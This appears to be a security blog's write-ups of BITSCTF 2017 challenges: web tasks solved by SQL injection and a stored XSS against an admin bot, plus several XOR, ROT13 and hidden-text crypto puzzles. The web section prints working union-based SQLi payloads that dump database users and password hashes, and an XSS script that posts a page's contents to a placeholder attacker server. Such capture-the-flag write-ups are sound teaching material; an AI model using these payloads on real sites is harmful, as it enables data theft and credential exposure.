Showing posts with label BITSCTF. Show all posts
Showing posts with label BITSCTF. Show all posts

Monday, February 6, 2017

BITSCTF 2017 - Web [Batman vs Joker, Message the admin]


Batman vs Joker (30)



Visiting robots.txt instantly told us the type of challenge this would be:

Not Found

The requested URL /sql/robots.txt was not found on this server.

Apache/2.4.10 (Debian) Server at joking.bitsctf.bits-quark.org Port 80

Looks like we're dealing with SQL injection! If we put a quote mark, we can see an error:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' Limit 1' at line 1


With a little fiddling, it looks like we can simply union select two fields and grab whatever data we need.

Starting out with something simple, we try the most basic SQLi statement:

' or 1=1 #

First name:Harry
Surname: Potter
First name:Hermione
Surname: Granger
First name:Ronald
Surname: Weasley
First name:Joker
Surname: Joker

So it dumps out a handful of characters from Harry Potter and the Joker. Let's see what else we can find:

' or 1=1  union select 1,@@version #
...
First name:1
Surname: 5.5.54-0+deb8u1

And we have MySQL 5.5.54 we're working with.

' or 1=1  union select user,password from mysql.user #
...
First name:root
Surname: *[redacted_for_article]
First name:debian-sys-maint
Surname: *[redacted_for_article]
First name:tester
Surname: *[redacted_for_article]

Wow, so we actually can dump the root password, that's nice! Thanks!

Then dumping the table information we can see our current CIA record table and an extra one (Joker):

' or 1=1  union select  table_schema,table_name FROM information_schema.tables #

...
Surname: INNODB_CMP_RESET
First name:information_schema
Surname: INNODB_BUFFER_PAGE_LRU
First name:hack
Surname: CIA_Official_Records     <<
First name:hack
Surname: Joker                    <<
First name:mysql
Surname: columns_priv
First name:mysql
...

Using this we can get the column name we're looking for (rather obvious in hindsight):

' or 1=1 union select table_name, column_name FROM information_schema.columns #

...
First name:CIA_Official_Records
Surname: username
First name:CIA_Official_Records
Surname: first_name
First name:CIA_Official_Records
Surname: last_name
First name:Joker
Surname: Flag                   <<<<
First name:Joker
Surname: HaHaHa
First name:columns_priv
Surname: Host
First name:columns_priv
Surname: Db
...

And now to grab the Flag!

' or 1=1 union select 1,Flag from Joker #

First name:Harry
Surname: Potter
First name:Hermione
Surname: Granger
First name:Ronald
Surname: Weasley
First name:Joker
Surname: Joker
First name:1
Surname: BITSCTF{wh4t_d03snt_k1ll_y0u_s1mply_m4k3s_y0u_str4ng3r!}


BITSCTF{wh4t_d03snt_k1ll_y0u_s1mply_m4k3s_y0u_str4ng3r!}



Message the admin (60)


This one went fairly quickly because some recent challenges were very similar. So it was still in muscle memory. The challenge was to send a message to the 'admin' (a PhantomJS server watching for messages), and include some payload to send to them. Most likely a CSRF or XSS challenge.



Hitting robots.txt really quickly we get:

Not Found

The requested URL /xss/robots.txt was not found on this server.

Apache/2.4.10 (Debian) Server at msgtheadmin.bitsctf.bits-quark.org Port 80

This tells us our assumption about XSS was correct, and we can proceed to include a payload that calls back to our server with some information.

Most initial payloads include document.cookie, but since the most recent challenge was to include page contents, that was the first check to try.

<script src='https://cdnjs.cloudflare.com/ajax/libs/jquery/3.1.1/jquery.js'></script>
<script>
  var x = $('body').html().toString();
  $.post('http://[some-server]/analytics', x);
</script>


Running a server and redirecting the output to an html file, we get this:




BITSCTF{hsr_1s_n0t_cr3ative}



Sunday, February 5, 2017

BITSCTF 2017 - Crypto [Banana Princess (20), Enigma (30), Beginner's Luck (40), Sherlock (60)]


This CTF was a lot of fun!  There were a lot of easier challenges, and had some inventive challenges!

For the Crypto challenges, they were mostly encoding based or very simple XOR ciphers.

Banana Princess


This first crypto challenge included a pdf file (MinionQuest.pdf) and description:

The princess has been kidnapped! It is up to you to rescue her now, with the help of the minions. They have provided you with a letter (which may or may not have touched the kidnappers hands on its way to you).

Authors - Speeeddy, Blaze


Initially checking the exifdata seemed like a good idea:

ExifTool Version Number         : 10.08
File Name                       : MinionQuest.pdf
Directory                       : .
File Size                       : 420 kB
File Modification Date/Time     : 2017:02:04 22:29:08-08:00
File Access Date/Time           : 2017:02:05 02:24:27-08:00
File Inode Change Date/Time     : 2017:02:04 22:29:11-08:00
File Permissions                : rw-r--r--
Error                           : File format error

Looks like the pdf is corrupted, maybe the bytes or xor'd or something. Looking at a normally formed pdf elsewhere we can find similar strings to the corrupted ones:

<</Yvarnevmrq 1/Y 430190/B 6/R 404343/A 1/G 429991/U [ 576 155]>>

This could possibly be a simple rotation, so going here (http://planetcalc.com/1434/) we can see it shows up at the ROT13 point:

<</Linearized 1/L 430190/O 6/E 404343/N 1/T 429991/H [ 576 155]>>

So now we just have to ROT13 the whole file!
At this point I just used python to do the rest:

# rot13 code from http://stackoverflow.com/questions/3269686/short-rot13-function
import string
rot13 = string.maketrans( 
        "NOPQRSTUVWXYZnopqrstuvwxyzABCDEFGHIJKLMabcdefghijklm",
        "ABCDEFGHIJKLMabcdefghijklmNOPQRSTUVWXYZnopqrstuvwxyz" 
        )

# print string.translate("Hello World!", rot13)

x = open('./MinionQuest.pdf', 'rb').read()
y = open('./out.pdf', 'w')

y.write(string.translate(x, rot13))
print 'done.'



This drops a pdf called 'out.pdf' which contains some better data to check out, looks like a part of it is redacted!



At this point I tried a few things, including looking for PDF layers, importing into Gimp and checking for PSD layers (as the exifdata did mention Adobe Photoshop CC 2015 & Microsoft Word), then after those checks failed, the next was to try file carving.

For file carving I ended up using one of my favorite tools, hachoir & hachoir-subfile! - https://bitbucket.org/haypo/hachoir/wiki/hachoir-subfile

$ hachoir-subfile out.pdf files
[+] Start search on 430190 bytes (420.1 KB)

[+] File at 1738 size=34851 (34.0 KB): JPEG picture => files/file-0001.jpg
[+] File at 36872 size=3448 (3448 bytes): JPEG picture => files/file-0002.jpg

[+] End of search -- offset=430190 (420.1 KB)
Total time: 108 ms -- global rate: 3.8 MB/sec

Looks like it worked! Output two files in our output directory of 'files'. This also dropped the full image without the redacted bar layer:



Flag: BITSCTF{save_the_kid}


Enigma


This challenge ended up being solved faster than expected, but was nice to do, here's the description:

Its World War II and Germans have been using Enigma to encrypt their messages. Our analysts have figured that they might be using XOR-encryption. XOR-encrption is vulnerable to a known-plaintext attack. Sadly all we have got are the encrypted intercepted messages. Your task is to break the Enigma and get the flag.

The included encrypted.tar.zx file dropped six files which were scrambled a little, here's an example of one:

$ xxd 2e
00000000: 3630 3c35 362a 2642 6775 2651 6372 7263  60<56*&Bgu&Qcrrc
00000010: 7426 6f75 7226 6e63 7372 6326 6d6a 6774  t&our&ncsrc&mjgt
00000020: 2826 5463 6163 6826 676b 2647 6463 6862  (&Tcach&gk&Gdchb

Ended up using this tool for the majority of the challenges - https://wiremask.eu/tools/xor-cracker/ (Could probably do exactly the same using xortool, etc.)
On there we find the highest probability of the first file's XOR key has a length of 1, weighing in around 14.5% probability.
It also drops the most likely key as 0x06.

Wrote another small python program (which may have been overkill in hindsight):

from pwn import *

data = []
files = ['1e','2e','3e','4e','5e','6e']
key = '\x06'

for f in files:
  x = open(f, 'rb').read()
  data.append(x)

for x in data:
  print xor(data, key)


This printed out the conversions:

Britische Passagier-Konvoi beschmutzt bei 60 Grad Norden und 15 Grad Westen. Nehmen Sie es sofort06:30, Das Wetter ist heute klar. Regen am AbendAdvance Ihre Einheit 1 Grad Norden und 2 Grad OstenDer Code für den Tag ist BITCTF{Focke-Wulf Fw 200}Berichte der britischen Marineüberwachung in Ihrer Region. Gehen Sie undercoverWir verfehlen Torpedos. Nur 2 übrig. Senden Sie die Lieferungen sofort
Britische Passagier-Konvoi beschmutzt bei 60 Grad Norden und 15 Grad Westen. Nehmen Sie es sofort06:30, Das Wetter ist heute klar. Regen am AbendAdvance Ihre Einheit 1 Grad Norden und 2 Grad OstenDer Code für den Tag ist BITCTF{Focke-Wulf Fw 200}Berichte der britischen Marineüberwachung in Ihrer Region. Gehen Sie undercoverWir verfehlen Torpedos. Nur 2 übrig. Senden Sie die Lieferungen sofort
Britische Passagier-Konvoi beschmutzt bei 60 Grad Norden und 15 Grad Westen. Nehmen Sie es sofort06:30, Das Wetter ist heute klar. Regen am AbendAdvance Ihre Einheit 1 Grad Norden und 2 Grad OstenDer Code für den Tag ist BITCTF{Focke-Wulf Fw 200}Berichte der britischen Marineüberwachung in Ihrer Region. Gehen Sie undercoverWir verfehlen Torpedos. Nur 2 übrig. Senden Sie die Lieferungen sofort
Britische Passagier-Konvoi beschmutzt bei 60 Grad Norden und 15 Grad Westen. Nehmen Sie es sofort06:30, Das Wetter ist heute klar. Regen am AbendAdvance Ihre Einheit 1 Grad Norden und 2 Grad OstenDer Code für den Tag ist BITCTF{Focke-Wulf Fw 200}Berichte der britischen Marineüberwachung in Ihrer Region. Gehen Sie undercoverWir verfehlen Torpedos. Nur 2 übrig. Senden Sie die Lieferungen sofort
Britische Passagier-Konvoi beschmutzt bei 60 Grad Norden und 15 Grad Westen. Nehmen Sie es sofort06:30, Das Wetter ist heute klar. Regen am AbendAdvance Ihre Einheit 1 Grad Norden und 2 Grad OstenDer Code für den Tag ist BITCTF{Focke-Wulf Fw 200}Berichte der britischen Marineüberwachung in Ihrer Region. Gehen Sie undercoverWir verfehlen Torpedos. Nur 2 übrig. Senden Sie die Lieferungen sofort
Britische Passagier-Konvoi beschmutzt bei 60 Grad Norden und 15 Grad Westen. Nehmen Sie es sofort06:30, Das Wetter ist heute klar. Regen am AbendAdvance Ihre Einheit 1 Grad Norden und 2 Grad OstenDer Code für den Tag ist BITCTF{Focke-Wulf Fw 200}Berichte der britischen Marineüberwachung in Ihrer Region. Gehen Sie undercoverWir verfehlen Torpedos. Nur 2 übrig. Senden Sie die Lieferungen sofort

In this we find the flag:

BITCTF{Focke-Wulf Fw 200}


Beginner's Luck


This one had an interesting premise, one that is well known and holds a good message to carry on:

Derp just had his first class of cryptography, and he feels really confident about his skills in this field. Can you break his algorithm and get the flag?


The challenge included BITSCTFfullhd.png and enc27.py. Looking at enc27.py we see this:

#!/usr/bin/env python

def supa_encryption(s1, s2):
    res = [chr(0)]*24
    for i in range(len(res)):
        q = ord(s1[i])
        d = ord(s2[i])
        k = q ^ d
        res[i] = chr(k)
    res = ''.join(res)
    return res

def add_pad(msg):
    L = 24 - len(msg)%24
    msg += chr(L)*L
    return msg

with open('fullhd.png','rb') as f:
    data = f.read()

data = add_pad(data)


with open('key.txt') as f:
    key = f.read()
    
enc_data = ''
for i in range(0, len(data), 24):
    enc = supa_encryption(data[i:i+24], key)
    enc_data += enc

with open('BITSCTFfullhd.png', 'wb') as f:
    f.write(enc_data)



Looks like it takes a base image, 'full.png', adds some bytes to the end of the file, does a simple XOR with 'key.txt' and then writes it back out to 'BITSCTFfullhd.png'. So again, similar to the previous challenges, all this is doing is a XOR.

Again on this one, just used the XOR-Cracker online mentioned in the comments:
from pwn import *

# Used https://wiremask.eu/tools/xor-cracker/
key='726b68255150346730263367343640342a256628554e235c'.decode('hex')

srcImg = open('BITSCTFfullhd.png', 'rb').read()
out = open('out.png', 'w')
result = xor(srcImg, key)
print key

out.write(result)


This dropped the png:



BITSCTF{p_en_gee}


Sherlock


This one was the highest points, but ended up being the simplest to solve, this was just a one-liner:

cat final.txt | grep -Eo '[A-Z]' | tr -d '\n' | sed 's/ZERO/0/g;s/ONE/1/g' | perl -lpe '$_=pack"B*",$_'

To explain this a little, the final.txt contained a lot of very normal text, but certain characters were capitalized in a sea of lowercase chars. I forget the name of this exactly, book cipher? This was very quick to recognize, and could be extracted with some grep, tr, sed & perl. The capital letters spelled out binary using words 'ZERO' & 'ONE', which was converted and printed using perl.

BITSCTF{h1d3_1n_pl41n_5173}